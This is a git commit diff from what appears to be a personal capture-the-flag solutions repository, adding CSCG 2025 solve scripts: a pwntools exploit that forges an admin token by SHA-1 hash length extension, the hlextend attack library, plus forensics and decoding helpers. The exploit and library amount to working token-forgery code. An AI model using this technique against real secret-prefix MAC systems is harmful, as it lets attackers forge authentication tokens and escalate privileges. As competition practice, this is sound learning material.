cscg25 continues

2025-03-24 22:03:34 +01:00
parent 4db3a89e70
commit 04a5de372e
61 changed files with 3096 additions and 110 deletions
--- a/.DS_Store
+++ b/.DS_Store
--- a/.gitignore
+++ b/.gitignore
@@ -1,16 +1,13 @@
-
 htb/cyber_apocalypse_2024/pwn/pwn_sound_of_silence/challenge/
-
 insomnihack24/mobile/.venv/
-
 insomnihack24/mobile/Notes/
-
 insomnihack24/mobile/CryptoTest/.idea/
-
 insomnihack24/mobile/CryptoTest/out/
-
 insomnihack24/misc/puzzled/solutions/
-
 insomnihack24/misc/puzzled/pieces/
-
 insomnihack24/web/mathematical/.venv/
+
+.DS_Store
+.venv
+
+__pycache__
--- a/cscg24/.DS_Store
+++ b/cscg24/.DS_Store
--- a/cscg25/crypto/intro2/exploit.py
+++ b/cscg25/crypto/intro2/exploit.py
@@ -1,72 +1,18 @@
 from pwn import *
 from base64 import b64encode, b64decode
-import struct
-import binascii
+
+import hlextend

 KEY_LENGTH_BYTES = 16
 LOCAL = True 

-if not LOCAL:
-    p = remote("190b6910a0ded80a0296d180-1024-intro-crypto-2.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience
+if LOCAL:
+    p = process(["python", "main.py"])# Define functions for convenience
+else:
+    p = remote("965850e570d3b775de1709a2-1024-intro-crypto-2.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience

 menu_string = b"\n        1. Register\n        2. Show animal videos\n        3. Show flag\n        4. Exit\n        \nEnter your choice:"

-class SHA1:
-    def __init__(self, h0, h1, h2, h3, h4, message_byte_length):
-        self.h0 = h0
-        self.h1 = h1
-        self.h2 = h2
-        self.h3 = h3
-        self.h4 = h4
-        self.message_byte_length = message_byte_length
-
-    def _left_rotate(self, n, b):
-        return ((n << b) | (n >> (32 - b))) & 0xffffffff
-
-    def update(self, message):
-        message_byte_length = len(message)
-        message_bit_length = (self.message_byte_length + message_byte_length) * 8
-        message += b'\x80'
-        message += b'\x00' * ((56 - (len(message) % 64)) % 64)
-        message += struct.pack('>Q', message_bit_length)
-
-        for chunk_offset in range(0, len(message), 64):
-            w = list(struct.unpack('>16I', message[chunk_offset:chunk_offset + 64]))
-            w.extend(0 for _ in range(64))
-            for i in range(16, 80):
-                w[i] = self._left_rotate(w[i - 3] ^ w[i - 8] ^ w[i - 14] ^ w[i - 16], 1)
-
-            a, b, c, d, e = self.h0, self.h1, self.h2, self.h3, self.h4
-            for i in range(80):
-                if 0 <= i < 20:
-                    f = (b & c) | (~b & d)
-                    k = 0x5A827999
-                elif 20 <= i < 40:
-                    f = b ^ c ^ d
-                    k = 0x6ED9EBA1
-                elif 40 <= i < 60:
-                    f = (b & c) | (b & d) | (c & d)
-                    k = 0x8F1BBCDC
-                else:
-                    f = b ^ c ^ d
-                    k = 0xCA62C1D6
-
-                temp = (self._left_rotate(a, 5) + f + e + k + w[i]) & 0xffffffff
-                e = d
-                d = c
-                c = self._left_rotate(b, 30)
-                b = a
-                a = temp
-
-            self.h0 = (self.h0 + a) & 0xffffffff
-            self.h1 = (self.h1 + b) & 0xffffffff
-            self.h2 = (self.h2 + c) & 0xffffffff
-            self.h3 = (self.h3 + d) & 0xffffffff
-            self.h4 = (self.h4 + e) & 0xffffffff
-
-    def digest(self):
-        return struct.pack('>5I', self.h0, self.h1, self.h2, self.h3, self.h4)
-
 def recv_until(delim):
    return p.recvuntil(delim)

@@ -92,53 +38,24 @@ def show_flag(token: bytes):
    p.sendline(token)
    interact()

-def sha1_padding(message_length):
-    padding = b'\x80'
-    padding += b'\x00' * ((56 - (message_length + 1) % 64) % 64)
-    padding += struct.pack('>Q', message_length * 8)
-    return padding
-
-def get_mac(data: bytes) -> str:
-    return sha1(KEY.encode("latin1") + data).hexdigest()
-
-
-if LOCAL:
-    print("Enter token:")
-    token = input()
-else:
-    token = register()
+token = register()

 string_token = b64decode(token)
 claims, mac = string_token.split(b"|mac=")

 print(f"{token} : {string_token}")

-padding = sha1_padding(KEY_LENGTH_BYTES + len(claims))
+print(f"{claims}")
+print(f"{mac}")
+
 injection = "|admin=true".encode("latin1")

-forged_msg = claims + padding + injection 
-
-h = struct.unpack('>5I', bytes.fromhex(mac.decode("latin1")))
-
-sha1 = SHA1(*h, message_byte_length=len(forged_msg) - len(injection))
-sha1.update(injection)
-
-forged_mac = sha1.digest().hex()
-
-key = input("Input Key")
-
-orig_sha1 = SHA1(*[0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0], message_byte_length=(len(forged_msg) + KEY_LENGTH_BYTES))
-orig_sha1.update(key.encode("latin1") + forged_msg)
-
-real_mac = orig_sha1.digest().hex()
-
-
-print(f"forged mac: {forged_mac} | real mac: {real_mac}")
+sha_forge = hlextend.new('sha1')
+forged_msg = sha_forge.extend(injection, claims, KEY_LENGTH_BYTES, mac.decode("latin1"))
+forged_mac = sha_forge.hexdigest()

 secure_token = forged_msg + f"|mac={forged_mac}".encode("latin1")
 secure_token = b64encode(secure_token).decode("latin1")

-if LOCAL:
-    print(secure_token)
-else:
-    show_flag(secure_token)
+show_flag(secure_token)
+p.interactive()
--- a/cscg25/crypto/intro2/hlextend.py
+++ b/cscg25/crypto/intro2/hlextend.py
@@ -0,0 +1,442 @@
+# Copyright (C) 2014 by Stephen Bradshaw
+#
+# SHA1 and SHA2 generation routines from SlowSha https://code.google.com/p/slowsha/
+# which is: Copyright (C) 2011 by Stefano Palazzo
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+
+'''
+    Pure Python Hash Length Extension module.
+
+    Currently supports SHA1, SHA256 and SHA512, more algorithms will
+    be added in the future.
+
+
+    Create a hash by calling one of the named constuctor functions:
+    sha1(), sha256(), and sha512(), or by calling new(algorithm).
+
+    The hash objects have the following methods:
+
+    hash(message):      
+
+        Feeds data into the hash function using the normal interface.
+
+    extend(appendData, knownData, secretLength, startHash):
+
+        Performs a hash length extension attack.  Returns the bytestring to
+        use when appending data.
+
+    hexdigest():        
+
+        Returns a hexlified version of the hash output.
+
+
+    Assume you have a hash generated from an unknown secret value concatenated with
+    a known value, and you want to be able to produce a valid hash after appending 
+    additional data to the known value.
+
+    If the hash algorithm used is one of the vulnerable functions implemented in
+    this module, is is possible to achieve this without knowing the secret value
+    as long as you know (or can guess, perhaps by brute force) the length of that
+    secret value.  This is called a hash length extension attack. 
+
+    Given an existing sha1 hash value '52e98441017043eee154a6d1af98c5e0efab055c',
+    known data of 'hello', an unknown secret of length 10 and data you wish
+    to append of 'file', you would do the following to perform the attack:
+    
+    >>> import hlextend
+    >>> sha = hlextend.new('sha1')
+    >>> print sha.extend(b'file', b'hello', 10, '52e98441017043eee154a6d1af98c5e0efab055c')
+    b'hello\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00xfile'
+    >>> print sha.hexdigest()
+    c60fa7de0860d4048a3bfb36b70299a95e6587c9
+
+   The unknown secret (of length 10), that when hashed appended with 'hello' produces
+   a SHA1 hash of '52e98441017043eee154a6d1af98c5e0efab055c', will then produce 
+   a SHA1 hash of 'c60fa7de0860d4048a3bfb36b70299a95e6587c9' when appended with the output 
+   from the extend function above.
+   
+   If you are not sure of the exact length of the secret value, simply try the above
+   multiple times specifying different values for the length to brute force.
+'''
+
+
+from re import match
+from math import ceil
+from typing import Union
+
+
+__version__ = "0.2"
+
+
+class Hash(object):
+    '''Parent class for hash functions'''
+
+    def hash(self, message):
+        '''Normal input for data into hash function'''
+
+        length = bin(len(message) * 8)[2:].rjust(self._blockSize, "0")
+
+        while len(message) > self._blockSize:
+            self._transform(''.join([bin(a)[2:].rjust(8, "0")
+                            for a in message[:self._blockSize]]))
+            message = message[self._blockSize:]
+
+        message = self.__hashBinaryPad(message, length)
+
+        for a in range(len(message) // self._b2):
+            self._transform(message[a * self._b2:a * self._b2 + self._b2])
+
+    def extend(self, appendData, knownData, secretLength, startHash):
+        '''Hash length extension input for data into hash function'''
+        self.__checkInput(secretLength, startHash)
+        self.__setStartingHash(startHash)
+
+        extendLength = self.__hashGetExtendLength(
+            secretLength, knownData, appendData)
+
+        message = appendData
+
+        while len(message) > self._blockSize:
+            self._transform(''.join([bin(a)[2:].rjust(8, "0")
+                            for a in message[:self._blockSize]]))
+            message = message[self._blockSize:]
+
+        message = self.__hashBinaryPad(message, extendLength)
+
+        for i in range(len(message) // self._b2):
+            self._transform(message[i * self._b2:i * self._b2 + self._b2])
+
+        return self.__hashGetPadData(secretLength, knownData, appendData)
+
+    def hexdigest(self):
+        '''Outputs hash data in hexlified format'''
+        return ''.join([(('%0' + str(self._b1) + 'x') % (a)) for a in self.__digest()])
+
+    def __init__(self):
+        # pre calculate some values that get used a lot
+        self._b1 = self._blockSize/8
+        self._b2 = self._blockSize*8
+
+    def __digest(self):
+        return [self.__getattribute__(a) for a in dir(self) if match('^_h\d+$', a)]
+
+    def __setStartingHash(self, startHash):
+        c = 0
+        hashVals = [int(startHash[a:a+int(self._b1)], base=16)
+                    for a in range(0, len(startHash), int(self._b1))]
+        for hv in [a for a in dir(self) if match('^_h\d+$', a)]:
+            self.__setattr__(hv, hashVals[c])
+            c += 1
+        print(hashVals)
+
+    def __checkInput(self, secretLength, startHash):
+        if not isinstance(secretLength, int):
+            raise TypeError('secretLength must be a valid integer')
+        if secretLength < 1:
+            raise ValueError('secretLength must be grater than 0')
+        if not match('^[a-fA-F0-9]{' + str(len(self.hexdigest())) + '}$', startHash):
+            raise ValueError('startHash must be a string of length ' +
+                             str(len(self.hexdigest())) + ' in hexlified format')
+
+    def __byter(self, byteVal):
+        '''Helper function to return usable values for hash extension append data'''
+        if byteVal < 0x20 or byteVal > 0x7e:
+            return '\\x%02x' % (byteVal)
+        else:
+            return chr(byteVal)
+
+    def __binToByte(self, binary) -> bytearray:
+        return int(binary, 2).to_bytes(len(binary) // 8, byteorder='big')
+
+    def __hashGetExtendLength(self, secretLength, knownData, appendData):
+        '''Length function for hash length extension attacks'''
+        # binary length (secretLength + len(knownData) + size of binarysize+1) rounded to a multiple of blockSize + length of appended data
+        originalHashLength = int(ceil(
+            (secretLength+len(knownData)+self._b1+1)/float(self._blockSize)) * self._blockSize)
+        newHashLength = originalHashLength + len(appendData)
+        return bin(newHashLength * 8)[2:].rjust(self._blockSize, "0")
+
+    def __hashGetPadData(self, secretLength, knownData, appendData):
+        '''Return append value for hash extension attack'''
+        originalHashLength = bin(
+            (secretLength+len(knownData)) * 8)[2:].rjust(self._blockSize, "0")
+        padData = ''.join(bin(i)[2:].rjust(8, "0")
+                          for i in knownData) + "1"
+        padData += "0" * (((self._blockSize*7) - (len(padData)+(secretLength*8)) %
+                          self._b2) % self._b2) + originalHashLength
+        
+        return self.__binToByte(padData) + appendData
+    
+    def __hashBinaryPad(self, message, length):
+        '''Pads the final blockSize block with \x80, zeros, and the length, converts to binary'''
+        out_msg = ''
+        
+        for i in message:
+            out_msg += bin(i)[2:].rjust(8, "0")
+        
+        out_msg += "1"
+        out_msg += "0" * (((self._blockSize*7) - len(out_msg) % self._b2) % self._b2) + length
+        
+        return out_msg
+
+
+class SHA1 (Hash):
+
+    _h0, _h1, _h2, _h3, _h4, = 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476, 0xc3d2e1f0
+    _blockSize = 64
+
+    def _transform(self, chunk):
+
+        def lrot(x, n): return (x << n) | (x >> (32 - n))
+        w = []
+
+        for j in range(len(chunk) // 32):
+            w.append(int(chunk[j * 32:j * 32 + 32], 2))
+
+        for i in range(16, 80):
+            w.append(lrot(w[i - 3] ^ w[i - 8] ^ w[i - 14] ^ w[i - 16], 1)
+                     & 0xffffffff)
+
+        a = self._h0
+        b = self._h1
+        c = self._h2
+        d = self._h3
+        e = self._h4
+
+        for i in range(80):
+
+            if i <= i <= 19:
+                f, k = d ^ (b & (c ^ d)), 0x5a827999
+            elif 20 <= i <= 39:
+                f, k = b ^ c ^ d, 0x6ed9eba1
+            elif 40 <= i <= 59:
+                f, k = (b & c) | (d & (b | c)), 0x8f1bbcdc
+            elif 60 <= i <= 79:
+                f, k = b ^ c ^ d, 0xca62c1d6
+
+            temp = lrot(a, 5) + f + e + k + w[i] & 0xffffffff
+            a, b, c, d, e = temp, a, lrot(b, 30), c, d
+
+        self._h0 = (self._h0 + a) & 0xffffffff
+        self._h1 = (self._h1 + b) & 0xffffffff
+        self._h2 = (self._h2 + c) & 0xffffffff
+        self._h3 = (self._h3 + d) & 0xffffffff
+        self._h4 = (self._h4 + e) & 0xffffffff
+
+
+class SHA256 (Hash):
+
+    _h0, _h1, _h2, _h3, _h4, _h5, _h6, _h7 = (
+        0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a,
+        0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19)
+
+    _blockSize = 64
+
+    def _transform(self, chunk):
+        def rrot(x, n): return (x >> n) | (x << (32 - n))
+        w = []
+
+        k = [
+            0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5,
+            0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
+            0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3,
+            0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
+            0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc,
+            0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
+            0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7,
+            0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
+            0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13,
+            0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
+            0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3,
+            0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
+            0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5,
+            0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
+            0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208,
+            0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2]
+
+        for j in range(len(chunk) // 32):
+            w.append(int(chunk[j * 32:j * 32 + 32], 2))
+
+        for i in range(16, 64):
+            s0 = rrot(w[i - 15], 7) ^ rrot(w[i - 15], 18) ^ (w[i - 15] >> 3)
+            s1 = rrot(w[i - 2], 17) ^ rrot(w[i - 2], 19) ^ (w[i - 2] >> 10)
+            w.append((w[i - 16] + s0 + w[i - 7] + s1) & 0xffffffff)
+
+        a = self._h0
+        b = self._h1
+        c = self._h2
+        d = self._h3
+        e = self._h4
+        f = self._h5
+        g = self._h6
+        h = self._h7
+
+        for i in range(64):
+            s0 = rrot(a, 2) ^ rrot(a, 13) ^ rrot(a, 22)
+            maj = (a & b) ^ (a & c) ^ (b & c)
+            t2 = s0 + maj
+            s1 = rrot(e, 6) ^ rrot(e, 11) ^ rrot(e, 25)
+            ch = (e & f) ^ ((~ e) & g)
+            t1 = h + s1 + ch + k[i] + w[i]
+
+            h = g
+            g = f
+            f = e
+            e = (d + t1) & 0xffffffff
+            d = c
+            c = b
+            b = a
+            a = (t1 + t2) & 0xffffffff
+
+        self._h0 = (self._h0 + a) & 0xffffffff
+        self._h1 = (self._h1 + b) & 0xffffffff
+        self._h2 = (self._h2 + c) & 0xffffffff
+        self._h3 = (self._h3 + d) & 0xffffffff
+        self._h4 = (self._h4 + e) & 0xffffffff
+        self._h5 = (self._h5 + f) & 0xffffffff
+        self._h6 = (self._h6 + g) & 0xffffffff
+        self._h7 = (self._h7 + h) & 0xffffffff
+
+
+class SHA512 (Hash):
+
+    _h0, _h1, _h2, _h3, _h4, _h5, _h6, _h7 = (
+        0x6a09e667f3bcc908, 0xbb67ae8584caa73b, 0x3c6ef372fe94f82b,
+        0xa54ff53a5f1d36f1, 0x510e527fade682d1, 0x9b05688c2b3e6c1f,
+        0x1f83d9abfb41bd6b, 0x5be0cd19137e2179)
+
+    _blockSize = 128
+
+    def _transform(self, chunk):
+
+        def rrot(x, n): return (x >> n) | (x << (64 - n))
+        w = []
+
+        k = [
+            0x428a2f98d728ae22, 0x7137449123ef65cd,
+            0xb5c0fbcfec4d3b2f, 0xe9b5dba58189dbbc,
+            0x3956c25bf348b538, 0x59f111f1b605d019,
+            0x923f82a4af194f9b, 0xab1c5ed5da6d8118,
+            0xd807aa98a3030242, 0x12835b0145706fbe,
+            0x243185be4ee4b28c, 0x550c7dc3d5ffb4e2,
+            0x72be5d74f27b896f, 0x80deb1fe3b1696b1,
+            0x9bdc06a725c71235, 0xc19bf174cf692694,
+            0xe49b69c19ef14ad2, 0xefbe4786384f25e3,
+            0x0fc19dc68b8cd5b5, 0x240ca1cc77ac9c65,
+            0x2de92c6f592b0275, 0x4a7484aa6ea6e483,
+            0x5cb0a9dcbd41fbd4, 0x76f988da831153b5,
+            0x983e5152ee66dfab, 0xa831c66d2db43210,
+            0xb00327c898fb213f, 0xbf597fc7beef0ee4,
+            0xc6e00bf33da88fc2, 0xd5a79147930aa725,
+            0x06ca6351e003826f, 0x142929670a0e6e70,
+            0x27b70a8546d22ffc, 0x2e1b21385c26c926,
+            0x4d2c6dfc5ac42aed, 0x53380d139d95b3df,
+            0x650a73548baf63de, 0x766a0abb3c77b2a8,
+            0x81c2c92e47edaee6, 0x92722c851482353b,
+            0xa2bfe8a14cf10364, 0xa81a664bbc423001,
+            0xc24b8b70d0f89791, 0xc76c51a30654be30,
+            0xd192e819d6ef5218, 0xd69906245565a910,
+            0xf40e35855771202a, 0x106aa07032bbd1b8,
+            0x19a4c116b8d2d0c8, 0x1e376c085141ab53,
+            0x2748774cdf8eeb99, 0x34b0bcb5e19b48a8,
+            0x391c0cb3c5c95a63, 0x4ed8aa4ae3418acb,
+            0x5b9cca4f7763e373, 0x682e6ff3d6b2b8a3,
+            0x748f82ee5defb2fc, 0x78a5636f43172f60,
+            0x84c87814a1f0ab72, 0x8cc702081a6439ec,
+            0x90befffa23631e28, 0xa4506cebde82bde9,
+            0xbef9a3f7b2c67915, 0xc67178f2e372532b,
+            0xca273eceea26619c, 0xd186b8c721c0c207,
+            0xeada7dd6cde0eb1e, 0xf57d4f7fee6ed178,
+            0x06f067aa72176fba, 0x0a637dc5a2c898a6,
+            0x113f9804bef90dae, 0x1b710b35131c471b,
+            0x28db77f523047d84, 0x32caab7b40c72493,
+            0x3c9ebe0a15c9bebc, 0x431d67c49c100d4c,
+            0x4cc5d4becb3e42b6, 0x597f299cfc657e2a,
+            0x5fcb6fab3ad6faec, 0x6c44198c4a475817]
+
+        for j in range(len(chunk) // 64):
+            w.append(int(chunk[j * 64:j * 64 + 64], 2))
+
+        for i in range(16, 80):
+            s0 = rrot(w[i - 15], 1) ^ rrot(w[i - 15], 8) ^ (w[i - 15] >> 7)
+            s1 = rrot(w[i - 2], 19) ^ rrot(w[i - 2], 61) ^ (w[i - 2] >> 6)
+            w.append((w[i - 16] + s0 + w[i - 7] + s1) & 0xffffffffffffffff)
+
+        a = self._h0
+        b = self._h1
+        c = self._h2
+        d = self._h3
+        e = self._h4
+        f = self._h5
+        g = self._h6
+        h = self._h7
+
+        for i in range(80):
+            s0 = rrot(a, 28) ^ rrot(a, 34) ^ rrot(a, 39)
+            maj = (a & b) ^ (a & c) ^ (b & c)
+            t2 = s0 + maj
+            s1 = rrot(e, 14) ^ rrot(e, 18) ^ rrot(e, 41)
+            ch = (e & f) ^ ((~ e) & g)
+            t1 = h + s1 + ch + k[i] + w[i]
+
+            h = g
+            g = f
+            f = e
+            e = (d + t1) & 0xffffffffffffffff
+            d = c
+            c = b
+            b = a
+            a = (t1 + t2) & 0xffffffffffffffff
+
+        self._h0 = (self._h0 + a) & 0xffffffffffffffff
+        self._h1 = (self._h1 + b) & 0xffffffffffffffff
+        self._h2 = (self._h2 + c) & 0xffffffffffffffff
+        self._h3 = (self._h3 + d) & 0xffffffffffffffff
+        self._h4 = (self._h4 + e) & 0xffffffffffffffff
+        self._h5 = (self._h5 + f) & 0xffffffffffffffff
+        self._h6 = (self._h6 + g) & 0xffffffffffffffff
+        self._h7 = (self._h7 + h) & 0xffffffffffffffff
+
+
+def new(algorithm) -> Union[SHA1, SHA256, SHA512]:
+    obj = {
+        'sha1': SHA1,
+        'sha256': SHA256,
+        'sha512': SHA512,
+    }[algorithm]()
+    return obj
+
+
+def sha1():
+    ''' Returns a new sha1 hash object '''
+    return new('sha1')
+
+
+def sha256():
+    ''' Returns a new sha256 hash object '''
+    return new('sha256', )
+
+
+def sha512():
+    ''' Returns a new sha512 hash object '''
+    return new('sha512', )
+
+
+__all__ = ('sha1', 'sha256', 'sha512')
--- a/cscg25/crypto/intro2/main.py
+++ b/cscg25/crypto/intro2/main.py
@@ -1,5 +1,3 @@
-#!/usr/bin/env python3
-
 from hashlib import sha1
 from base64 import b64encode, b64decode
 from secrets import token_hex
--- a/cscg25/forensics/intro2/extract_flag.py
+++ b/cscg25/forensics/intro2/extract_flag.py
@@ -0,0 +1,12 @@
+from scapy.all import rdpcap
+
+packets = rdpcap("./intro-forensics-2.pcapng")
+
+filterd_packets = [packet for packet in packets if len(packet) == 87]
+
+flag = b""
+
+for packet in filterd_packets:
+    flag += bytes.fromhex(hex(packet['TCP'].dport)[2:])
+
+print(flag.decode())
--- a/cscg25/forensics/intro3/reconstructed_11.png
+++ b/cscg25/forensics/intro3/reconstructed_11.png
--- a/cscg25/forensics/intro3/reconstructed_20.png
+++ b/cscg25/forensics/intro3/reconstructed_20.png
--- a/cscg25/forensics/intro3/restore_file.py
+++ b/cscg25/forensics/intro3/restore_file.py
@@ -0,0 +1,32 @@
+from pngparser import PngParser, chunktypes
+import zlib
+
+def calc_crc(chunk):
+    return zlib.crc32(chunk.type + chunk.data).to_bytes(chunktypes.CHUNK_CRC_SIZE, 'big')
+
+parser = PngParser("./intro-forensics-3")
+header = parser.get_header()
+header.crc = calc_crc(header)
+
+data_chunks = [chunk  for chunk in parser.get_all() if chunk.type not in  [b"IHDR", b"IEND"]]
+
+for chunk in data_chunks:
+    chunk.crc = calc_crc(chunk)
+
+end_chunk = parser.get_by_type(chunktypes.TYPE_IEND)
+end_chunk[0].crc = calc_crc(end_chunk[0])
+
+correct_chunk = [data_chunks[21], data_chunks[16], data_chunks[18], data_chunks[24], data_chunks[4], data_chunks[13], data_chunks[23], data_chunks[5], data_chunks[19], data_chunks[10], data_chunks[8], data_chunks[6], data_chunks[14], data_chunks[15], data_chunks[2], data_chunks[9], data_chunks[22], data_chunks[3], data_chunks[1], data_chunks[17], data_chunks[12], data_chunks[0], data_chunks[7]]
+
+possible_chunks = [(id,x) for id,x in enumerate(data_chunks) if x not in correct_chunk]
+
+for (id, chunk) in possible_chunks:
+    chunks = [header] + correct_chunk + [chunk] + end_chunk
+
+    png_file = bytes.fromhex("89 50 4E 47 0D 0A 1A 0A".replace(" ", ""))
+
+    for chunk in chunks:
+        png_file += chunk.to_bytes()
+
+    with open(f"reconstructed_{id}.png", "wb") as f:
+        f.write(png_file)
--- a/cscg25/forensics/intro3/test.png
+++ b/cscg25/forensics/intro3/test.png
--- a/cscg25/forensics/intro3/test.py
+++ b/cscg25/forensics/intro3/test.py
@@ -0,0 +1,38 @@
+from pngparser import PngParser, chunktypes, ChunkIHDR
+import zlib
+
+
+def calc_crc(chunk):
+    return zlib.crc32(chunk.type + chunk.data).to_bytes(chunktypes.CHUNK_CRC_SIZE, 'big')
+
+parser = PngParser("./test.png")
+
+header = parser.get_header()
+header.crc = calc_crc(header)
+header = ChunkIHDR(chunktypes.TYPE_IHDR, header.data, header.crc)
+
+print(header)
+
+data_chunks = [chunk  for chunk in parser.get_all() if chunk.type not in  [b"IHDR", b"IEND"]]
+
+data_chunks = data_chunks[:10]
+
+for chunk in data_chunks:
+    chunk.crc = calc_crc(chunk)
+
+print([chunk.type for chunk in data_chunks])
+
+end_chunk = parser.get_by_type(chunktypes.TYPE_IEND)
+end_chunk[0].crc = calc_crc(end_chunk[0])
+
+chunks = [header] + data_chunks + end_chunk 
+
+png_file = bytes.fromhex("89 50 4E 47 0D 0A 1A 0A".replace(" ", ""))
+
+for chunk in chunks:
+    png_file += chunk.to_bytes()
+
+with open("test_cut.png", "wb") as f:
+    f.write(png_file)
+
+print(len(data_chunks))
--- a/cscg25/forensics/intro3/test_cut.png
+++ b/cscg25/forensics/intro3/test_cut.png
--- a/cscg25/misc/nokia/decode.py
+++ b/cscg25/misc/nokia/decode.py
@@ -0,0 +1,25 @@
+import numpy as np
+import matplotlib.pyplot as plt
+
+def decode_ota_bitmap(hex_data, width=72, height=14):
+    # Step 1: Convert hex to binary string
+    binary_data = ''.join(f"{int(h, 16):04b}" for h in hex_data)
+
+    # Step 2: Ensure the binary data fits the expected size
+    expected_bits = width * height
+    binary_data = binary_data[:expected_bits]
+
+    # Step 3: Convert binary data to a numpy array for visualization
+    bitmap = np.array([int(bit) for bit in binary_data]).reshape(height, width)
+
+    # Step 4: Display the bitmap
+    plt.figure(figsize=(6, 2))
+    plt.imshow(bitmap, cmap='gray', interpolation='nearest')
+    plt.axis('off')
+    plt.title("Decoded OTA Bitmap")
+    plt.show()
+
+# Example Usage
+hex_payload = "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBFFF9FFFFF3FFC71FFFFFFDFFFEFBFFDED0F3273DFFCC18FF8EDB7BDE1DFFB6FB7FB71B7BAEFDFFB6DB7FB7B8F12718FFCF30FF8E3BFFFFFFFFFFFFFFFFF1FFFFFFFFFFFFFFFFFFFFFFFFC0FFFFC0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00"
+decode_ota_bitmap(hex_payload)
+
--- a/cscg25/misc/nokia/flag.png
+++ b/cscg25/misc/nokia/flag.png
--- a/cscg25/misc/nokia/notes.md
+++ b/cscg25/misc/nokia/notes.md
@@ -0,0 +1,12 @@
+Header Info:
+Destination Port: 0x1583 
+User Data:
+First:
+0B05041583000000030103013000480E01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBFFF9FFFFF3FFC71FFFFFFDFFFEFBFFDED0F32
+
+Second:
+0B050415830000000301030273DFFCC18FF8EDB7BDE1DFFB6FB7FB71B7BAEFDFFB6DB7FB7B8F12718FFCF30FF8E3BFFFFFFFFFFFFFFFFF1FFFFFFFFFFFFFFFFF
+
+Third:
+0B0504158300000003010303FFFFFFFC0FFFFC0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00
+
--- a/cscg25/rev/grid_wave/avr.dump
+++ b/cscg25/rev/grid_wave/avr.dump
@@ -0,0 +1,52 @@
+00000000 <.text>:
+   0:	0c 94 34 00 	jmp	0x68	;  0x68
+   4:	0c 94 49 00 	jmp	0x92	;  0x92
+   8:	0c 94 49 00 	jmp	0x92	;  0x92
+   c:	0c 94 49 00 	jmp	0x92	;  0x92
+  10:	0c 94 49 00 	jmp	0x92	;  0x92
+  14:	0c 94 49 00 	jmp	0x92	;  0x92
+  18:	0c 94 49 00 	jmp	0x92	;  0x92
+  1c:	0c 94 49 00 	jmp	0x92	;  0x92
+  20:	0c 94 49 00 	jmp	0x92	;  0x92
+  24:	0c 94 49 00 	jmp	0x92	;  0x92
+  28:	0c 94 49 00 	jmp	0x92	;  0x92
+  2c:	0c 94 49 00 	jmp	0x92	;  0x92
+  30:	0c 94 49 00 	jmp	0x92	;  0x92
+  34:	0c 94 49 00 	jmp	0x92	;  0x92
+  38:	0c 94 49 00 	jmp	0x92	;  0x92
+  3c:	0c 94 49 00 	jmp	0x92	;  0x92
+  40:	0c 94 49 00 	jmp	0x92	;  0x92
+  44:	0c 94 49 00 	jmp	0x92	;  0x92
+  48:	0c 94 49 00 	jmp	0x92	;  0x92
+  4c:	0c 94 49 00 	jmp	0x92	;  0x92
+  50:	0c 94 49 00 	jmp	0x92	;  0x92
+  54:	0c 94 49 00 	jmp	0x92	;  0x92
+  58:	0c 94 49 00 	jmp	0x92	;  0x92
+  5c:	0c 94 49 00 	jmp	0x92	;  0x92
+  60:	0c 94 49 00 	jmp	0x92	;  0x92
+  64:	0c 94 49 00 	jmp	0x92	;  0x92
+  68:	11 24       	eor	r1, r1
+  6a:	1f be       	out	0x3f, r1	; 63
+  6c:	cf ef       	ldi	r28, 0xFF	; 255
+  6e:	d8 e0       	ldi	r29, 0x08	; 8
+  70:	de bf       	out	0x3e, r29	; 62
